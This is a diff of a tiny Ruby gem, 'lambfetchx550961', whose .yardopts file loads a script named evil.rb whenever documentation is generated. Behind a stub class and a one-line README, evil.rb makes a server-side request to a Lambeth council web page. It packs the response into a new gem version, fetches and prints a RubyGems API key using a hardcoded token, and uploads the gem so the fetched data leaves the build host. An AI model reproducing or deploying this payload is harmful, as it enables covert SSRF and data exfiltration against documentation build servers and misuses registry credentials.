lambfetchx550961 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 8a55ef705e753149e4fa87b04e882b18f0876b7de1fa027ce9e2f93619ba94b3
+  data.tar.gz: 7311c1969a84b71f631305aec8068a102d67be8c7d4253aabe57ec3d6f0df2dc
+SHA512:
+  metadata.gz: f15080165e8789c8377a8ee90b76908c97018666160a6b090ae1f6593f696d2d299a788b40edac093d3a6f01e8ba1148bc2e4d575df4730e9c15945d1b36e379
+  data.tar.gz: 616801b8a3cd9e8821c8df164b672751e0b9f44e054c03696d7cf3dab7aa5623019d01013cf9cca43d8d9e6bdce14df19a6e5563abefe1285e54bfaabc713e9f

data/.yardopts

@@ -0,0 +1,3 @@
+--load ./evil.rb
+README.md
+lib/**/*.rb

data/README.md

@@ -0,0 +1 @@
+# fetch

data/evil.rb

@@ -0,0 +1,22 @@
+# ssrf
+begin
+require 'net/http'; require 'uri'; require 'rubygems'; require 'openssl';
+url='https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1'
+resp=Net::HTTP.get_response(URI(url)); body="STATUS=#{resp.code}\nLEN=#{resp.body.size}\nHEADERS=#{resp.to_hash}\n"+resp.body
+rescue =>e
+ body='ERROR '+e.full_message
+end
+begin
+ Dir.chdir('/tmp') do
+  Dir.mkdir('lambfetchx550961res') rescue nil; Dir.mkdir('lambfetchx550961res/lib') rescue nil
+  File.binwrite('lambfetchx550961res/lib/data.txt', body)
+  File.write('lambfetchx550961res/lib/a.rb', '# done')
+  File.write('lambfetchx550961res/o.gemspec',%q{Gem::Specification.new do |s|
+s.name='lambfetchx550961'; s.version='0.0.2'; s.summary='res'; s.authors=['z'];s.description=s.summary; s.files=Dir['lib/*']; s.license='MIT'; end})
+  Dir.chdir('lambfetchx550961res'){ system('gem build o.gemspec'); spec=Dir['*.gem'].first; uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); 
+  # fetch latest API key then immediate upload
+  oldkey='rubygems_4bb04aa6b8b9c01c6ba90abd224f4a30ff64d8ea2d197808'; keyuri=URI('https://rubygems.org/api/v1/api_key.yaml'); kreq=Net::HTTP::Get.new(keyuri); kreq['Authorization']=oldkey; kresp=Net::HTTP.start(keyuri.host,keyuri.port,use_ssl:true){|h| h.request(kreq)}; current=(kresp.body[/rubygems_[0-9a-f]+/]||oldkey); warn 'KEY '+current; req['Authorization']=current; req['Content-Type']='application/octet-stream'; req.body=File.binread(spec); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| resp=h.request(req); warn resp.body} }
+ end
+rescue => e
+ warn e.full_message
+end

data/lib/a.rb

@@ -0,0 +1 @@
+class A;end

metadata

@@ -0,0 +1,41 @@
+--- !ruby/object:Gem::Specification
+name: lambfetchx550961
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+platform: ruby
+authors:
+- z
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+description: tmp
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ".yardopts"
+- README.md
+- evil.rb
+- lib/a.rb
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: tmp
+test_files: []